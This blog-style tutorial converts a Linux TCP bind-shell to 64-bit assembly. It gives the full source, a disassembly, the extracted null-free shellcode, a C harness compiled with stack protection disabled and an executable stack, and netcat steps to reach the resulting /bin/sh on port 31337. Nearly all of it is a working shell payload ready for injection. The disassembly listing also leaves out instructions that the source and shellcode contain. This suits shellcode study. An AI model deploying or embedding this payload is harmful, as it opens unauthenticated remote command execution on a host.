What is this post about?

In learning 64 bit assembly language under Linux, I thought I would convert some of the 32 bit code I have already in my repo. Therefore there won’t be a full explanation, just the basics.

The assembly language code.

section .text
global _start
 
_start:
    ; some clean up first
    xor rax,rax
    xor rdi,rdi
    xor rsi,rsi
    xor rdx,rdx
    xor r10, r10 
    xor r8,r8
    xor r9,r9

    ; Register allocation for system calls in 64bit assembly language
    ; function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
    ;               ^system          ^arg1  ^arg2  ^arg3  ^arg4  ^arg5 ^arg6
    ;                call #

    ; Socket
    ; Function prototype:
    ;       int socket(int domain, int type, int protocol)
    ; Purpose:
    ;       creates an endpoint for communications, returns a
    ;       descriptor that will be used thoughout the code to
    ;       bind/listen/accept communications
    ; C Code:
    ;       sockfd = socket(AF_INET, SOCK_STREAM, 0);

    push    0x2    ; domain, AF_INET, found in sys/socket.h
    pop     rdi    ; pop value from stack into int domain, first argument
    push    0x1    ; type, SOCK_STREAM, found in bits/socket_type.h
    pop     rsi    ; pop value from stack into int type, second argument
    push    0x6    ; protocol, TCP, found in /etc/protocols
    pop     rdx    ; pop value from stack into int protocol, third argument
    push    0x29   ; socket syscall
    pop     rax      
    syscall  
    mov     r8,rax ; move return value into r8

    ; Bind
    ; Function prototype:
    ;      int bind(int sockfd, const struct sockaddr *addr,      
    ;               socklen_t addrlen)                            
    ; Purpose:
    ;       assigns the addess in addr to the socket descriptor,
    ;       basically "giving a name to a socket"
    ; C Code:
    ;       hostaddr.sin_family = AF_INET;
    ;       hostaddr.sin_port = htons(31337);
    ;       hostaddr.sin_addr.s_addr = INADDR_ANY;
    ;       memset(&(hostaddr.sin_zero), '\0', 8);
    ;       bind(sockfd, (struct sockaddr *)&hostaddr, sizeof(struct sockaddr));

    xor     r10,r10
    push    r10
    push    r10
    mov     byte [rsp],0x2 ; AF_INET, sockaddr.sa_family value
    mov     word [rsp+0x2],0x697a ; port 31337, sockaddr.sa_data[] value
    mov     rsi,rsp ; put values into sockaddr structure
    push    r8      ; socket file descriptor
    pop     rdi     ; put socket_fd from r8 into rdi, first argument
    push    0x10    ; push 16 on stack       
    pop     rdx     ; pop 16 from stack into addrlen, third argument        
    push    0x31    ; bind syscall
    pop     rax     ; pop value from stack into function number to call 
    syscall 

    ; Listen
    ; Function prototype:
    ;       int listen(int sockfd, int backlog)
    ; Purpose:
    ;       sets the socket in the descriptor in preparation to
    ;       accepting incoming communications
    ; C Code:
    ;       listen(sockfd, 1);

    push    r8   ; push socket file descriptor onto stack
    pop     rdi  ; pop value from stack into int sockfd, first argument
    push    0x1  ; push 1 onto stack
    pop     rsi  ; pop value from stack into int backlog, second argument
    push    0x32 ; listen syscall
    pop     rax  ; pop value from stack into function number to call 
    syscall 

    ; Accept
    ; Function prototype:
    ;       int accept(int sockfd, struct sockaddr *addr,
    ;               socklen_t *addrlen)
    ; Purpose:
    ;       accepts a connection on a socket and returns a new
    ;       file descriptor referring to the socket which is used
    ;       to bind stdin, stdout and stderr to the local terminal
    ; C Code:
    ;       sinsz = sizeof(struct sockaddr_in); 
    ;       dupsockfd = accept(sockfd, (struct sockaddr *)&clientaddr, &sinsz);

    mov     rsi,rsp ; make address of sockaddr structure equal to stack pointer
    xor     rcx,rcx ; zero rcx
    mov     cl,0x10 ; put 16 into lower 8bits of rcx
    push    rcx     ; push rcx (10) onto stack
    mov     rdx,rsp ; make socklen_t value of stack pointer
    push    r8      ; push socket file descriptor onto stack
    pop     rdi     ; pop socket file descriptor of stack into int sockfd
    push    0x2b    ; push accept syscall number (43) onto stack
    pop     rax     ; pop this value into rax
    syscall 

    ; Dup2
    ; Function prototype:
    ;       int dup2(int oldfd, int newfd)
    ; Purpose:
    ;       duplicate a file descriptor, copies the old file
    ;       descriptor to a new one allowing them to be used
    ;       interchangably, this allows all shell i/o to/from the
    ;       compomised system.
    ; C Code:
    ;       dup2(dupsockfd,0); /* stdin */
    ;       dup2(dupsockfd,1); /* stdout */
    ;       dup2(dupsockfd,2); /* stderr */

    pop     rcx     ; pop value on top of stack into rcx
    xor     r9,r9   ; zero r9
    mov     r9,rax  ; put return value from accept syscall into r9
    mov     rdi,r9  ; put value from r9 into oldfd, first argument
    xor     rsi,rsi ; zero rsi
    push    0x3     ; place 3 on top of stack
    pop     rsi     ; pop 3 from stack into newfd, second argument
loop:
    dec     rsi     ; subtract 1 from value in rsi
    push    0x21    ; push (33) onto stack, value of dup2 syscall
    pop     rax     ; pop (33) from stack into rax
    syscall 
    jne     loop    ; if zero not set in flag register loop again, else continue

    ; Execve
    ; Function prototype:
    ;       int execve(const char *filename, char *const argv[],
    ;               char *const envp[]);
    ; Purpose:
    ;       execve() executes the program pointed to by filename.  
    ;       filename must be either a binary executable, or a script.   
    ; C Code:
    ;       execve("/bin/sh", argv, envp);

    xor     rdi,rdi ; zero rdi
    push    rdi     ; push zero onto stack
    push    rdi     ; push another zero onto stack
    pop     rsi     ; pop zero from stack into argv[], second argument
    pop     rdx     ; pop zero from stack into envp[], third argument
    mov     rdi,0x68732f6e69622f2f  ; mov hs/nib// into filename, first argument
    shr     rdi,0x8 ; remove first / and make NULL terminated string
    push    rdi     ; push /bin/shNULL onto stack
    push    rsp     ; push stack pointer onto stack
    pop     rdi     ; pop pointer to filename into filename, first argument
    push    0x3b    ; push (59) onto stack, value of execve syscall
    pop     rax     ; pop (59) from stack into rax
    syscall 

To build the code:

$ nasm -felf64 -o bindshell.o bindshell.asm
$ ld -o bindshell bindshell.o

Check for nulls:

$ objdump -d tcpbindshell -M intel

tcpbindshell:     file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 c0             	xor    rax,rax
  400083:	48 31 ff             	xor    rdi,rdi
  400086:	48 31 f6             	xor    rsi,rsi
  400089:	48 31 d2             	xor    rdx,rdx
  40008c:	4d 31 c0             	xor    r8,r8
  40008f:	6a 02                	push   0x2
  400091:	5f                   	pop    rdi
  400092:	6a 01                	push   0x1
  400094:	5e                   	pop    rsi
  400095:	6a 06                	push   0x6
  400097:	5a                   	pop    rdx
  400098:	6a 29                	push   0x29
  40009a:	58                   	pop    rax
  40009b:	0f 05                	syscall 
  40009d:	49 89 c0             	mov    r8,rax
  4000a0:	c6 04 24 02          	mov    BYTE PTR [rsp],0x2
  4000a4:	66 c7 44 24 02 7a 69 	mov    WORD PTR [rsp+0x2],0x697a
  4000ab:	48 89 e6             	mov    rsi,rsp
  4000ae:	41 50                	push   r8
  4000b0:	5f                   	pop    rdi
  4000b1:	6a 10                	push   0x10
  4000b3:	5a                   	pop    rdx
  4000b4:	6a 31                	push   0x31
  4000b6:	58                   	pop    rax
  4000b7:	0f 05                	syscall 
  4000b9:	41 50                	push   r8
  4000bb:	5f                   	pop    rdi
  4000bc:	6a 01                	push   0x1
  4000be:	5e                   	pop    rsi
  4000bf:	6a 32                	push   0x32
  4000c1:	58                   	pop    rax
  4000c2:	0f 05                	syscall 
  4000c4:	48 89 e6             	mov    rsi,rsp
  4000c7:	48 31 c9             	xor    rcx,rcx
  4000ca:	b1 10                	mov    cl,0x10
  4000cc:	51                   	push   rcx
  4000cd:	48 89 e2             	mov    rdx,rsp
  4000d0:	41 50                	push   r8
  4000d2:	5f                   	pop    rdi
  4000d3:	6a 2b                	push   0x2b
  4000d5:	58                   	pop    rax
  4000d6:	0f 05                	syscall 
  4000d8:	59                   	pop    rcx
  4000d9:	4d 31 c9             	xor    r9,r9
  4000dc:	49 89 c1             	mov    r9,rax
  4000df:	4c 89 cf             	mov    rdi,r9
  4000e2:	48 31 f6             	xor    rsi,rsi
  4000e5:	6a 03                	push   0x3
  4000e7:	5e                   	pop    rsi

00000000004000e8 <loop>:
  4000e8:	48 ff ce             	dec    rsi
  4000eb:	6a 21                	push   0x21
  4000ed:	58                   	pop    rax
  4000ee:	0f 05                	syscall 
  4000f0:	75 f6                	jne    4000e8 <loop>
  4000f2:	48 31 ff             	xor    rdi,rdi
  4000f5:	57                   	push   rdi
  4000f6:	57                   	push   rdi
  4000f7:	5e                   	pop    rsi
  4000f8:	5a                   	pop    rdx
  4000f9:	48 bf 2f 2f 62 69 6e 	movabs rdi,0x68732f6e69622f2f
  400100:	2f 73 68 
  400103:	48 c1 ef 08          	shr    rdi,0x8
  400107:	57                   	push   rdi
  400108:	54                   	push   rsp
  400109:	5f                   	pop    rdi
  40010a:	6a 3b                	push   0x3b
  40010c:	58                   	pop    rax
  40010d:	0f 05                	syscall 

Test above executable on localhost using netcat under X:
Open a terminal under working directory,

$ ./bindshell

Open another terminal,

$ nc localhost 31337

commands can now be executed in this terminal e.g. try typing ls to see contents of bindshell directory.

Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so

$ for i in $(objdump -d tcpbindshell -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05

The shellcode can be copied and pasted into a test program, similar to the one below. The #define PORT from the 32bit version is removed, I didn’t like it.

#include <stdio.h>
 
/*
 port 31337 (\x7a\x69)
*/
  
unsigned char code[] = \
    "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d"
    "\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29"
    "\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52"
    "\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89"
    "\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41"
    "\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6"
    "\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a"
    "\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89"
    "\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
    "\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf"
    "\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57"
    "\x54\x5f\x6a\x3b\x58\x0f\x05";
 
int
main(void)
{
    printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}

Build the code:

$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c

The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.

Test above executable on localhost using netcat under X:
Open a terminal under working directory,

$ ./shellcode

Open another terminal,

$ nc localhost 31337

commands can now be executed in this terminal e.g. try typing ls to see contents of shellcode directory.

Leave a Reply

Your email address will not be published. Required fields are marked *